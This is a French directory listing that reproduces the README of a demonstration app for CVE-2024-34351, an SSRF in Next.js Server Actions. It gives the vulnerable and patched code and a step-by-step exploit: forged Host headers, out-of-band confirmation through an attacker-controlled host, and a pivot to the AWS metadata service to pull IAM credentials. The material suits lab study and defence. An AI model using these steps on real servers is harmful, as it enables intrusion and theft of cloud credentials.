Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2024-34351-demo — Application de démonstration minimaliste Next.js 14.0.0 pour la vulnérabilité SSRF CVE-2024-34351. Comprend la configuration de l'exploit, la confirmation interactsh, l'interception Burp et les étapes d'escalade des métadonnées AWS. | Kitploit
Outils/GitHubGitHub/jinlei-chen-uwo/cve-2024-34351-demo
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionSécurité CloudApprentissage et Éducation
GitHubjinlei-chen-uwo/cve-2024-34351-demo

cve-2024-34351-demo

Application de démonstration minimaliste Next.js 14.0.0 pour la vulnérabilité SSRF CVE-2024-34351. Comprend la configuration de l'exploit, la confirmation interactsh, l'interception Burp et les étapes d'escalade des métadonnées AWS.

Voir le dépôt
10il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Démonstration de CVE-2024-34351

Application Next.js 14.0.0 minimale pour démontrer CVE-2024-34351 -- une vulnérabilité de Server-Side Request Forgery (SSRF) dans les Server Actions de Next.js.

Découverte par Adam Kues et Shubham Shah chez Assetnote. Corrigée dans Next.js 14.1.1.


Comment fonctionne la vulnérabilité

Lorsqu'une Server Action appelle redirect('/some-path'), Next.js construit une URL de fetch interne en utilisant l'en-tête Host de la requête entrante sans validation :

// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host']           // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... })  // server makes this request

Un attaquant qui contrôle l'en-tête Host peut rediriger ce fetch interne vers n'importe quelle destination que le serveur peut atteindre.


Prérequis

  • Node.js 18+
  • npm
  • Burp Suite Community Edition (gratuite) pour l'interception

Configuration

npm install
npm run build   # must use production build -- dev mode routes redirects differently
npm run start   # app runs at http://localhost:3000

Exploitation

Étape 1 -- Confirmer la requête sortante avec interactsh

interactsh est utile pour confirmer que le serveur Next.js effectue une requête sortante vers un hôte contrôlé par l'attaquant.

# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client

Dans Burp Suite :

  1. Naviguez vers http://localhost:3000 et soumettez le formulaire de connexion avec l'interception activée
  2. Dans la requête POST interceptée, remplacez Host: localhost:3000 par Host: abc123.oast.fun
  3. Transférez la requête
  4. Vérifiez interactsh -- vous verrez une requête HEAD enregistrée depuis le serveur Next.js

Cela prouve la SSRF sortante. La requête provient du processus serveur, pas du navigateur.

Étape 2 -- Lecture complète avec le serveur attaquant

interactsh ne peut pas contrôler sa réponse, donc Next.js ne procédera pas à la requête GET. Pour obtenir le corps complet de la réponse, utilisez le serveur attaquant inclus :

python3 attacker/attacker_server.py 8888

Définissez l'en-tête Host sur <votre-ip-lan>:8888 et transférez. Le serveur attaquant répond à HEAD avec Content-Type: text/x-component, déclenchant le GET. Le corps complet de la réponse est renvoyé dans la réponse Next.js visible dans Burp.

Étape 3 -- Escalade des métadonnées AWS (sur EC2)

Lors de l'exécution de l'application vulnérable sur une instance AWS EC2, définissez l'en-tête Host sur :

Host: 169.254.169.254

Next.js effectuera un fetch depuis le service de métadonnées de l'instance. Pour récupérer les identifiants IAM :

Host: 169.254.169.254

Ensuite, ajustez le chemin de redirection ou utilisez une requête suivante pour cibler :

http://169.254.169.254/latest/meta-data/iam/security-credentials/

La réponse complète des métadonnées est renvoyée au navigateur de l'attaquant.


Le correctif (Next.js 14.1.1)

// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
          ?? process.env.__NEXT_PRIVATE_ORIGIN
          ?? req.headers['host']

Le correctif privilégie process.env.__NEXT_PRIVATE_ORIGIN -- défini au démarrage du serveur, non contrôlable par l'attaquant.


Références

  • Article de recherche d'Assetnote
  • Avis d'Assetnote
  • Avis GitHub GHSA-fr5h-rqp8-mj6g
  • NVD CVE-2024-34351
  • Correctif PR #62561
Télécharger l’outil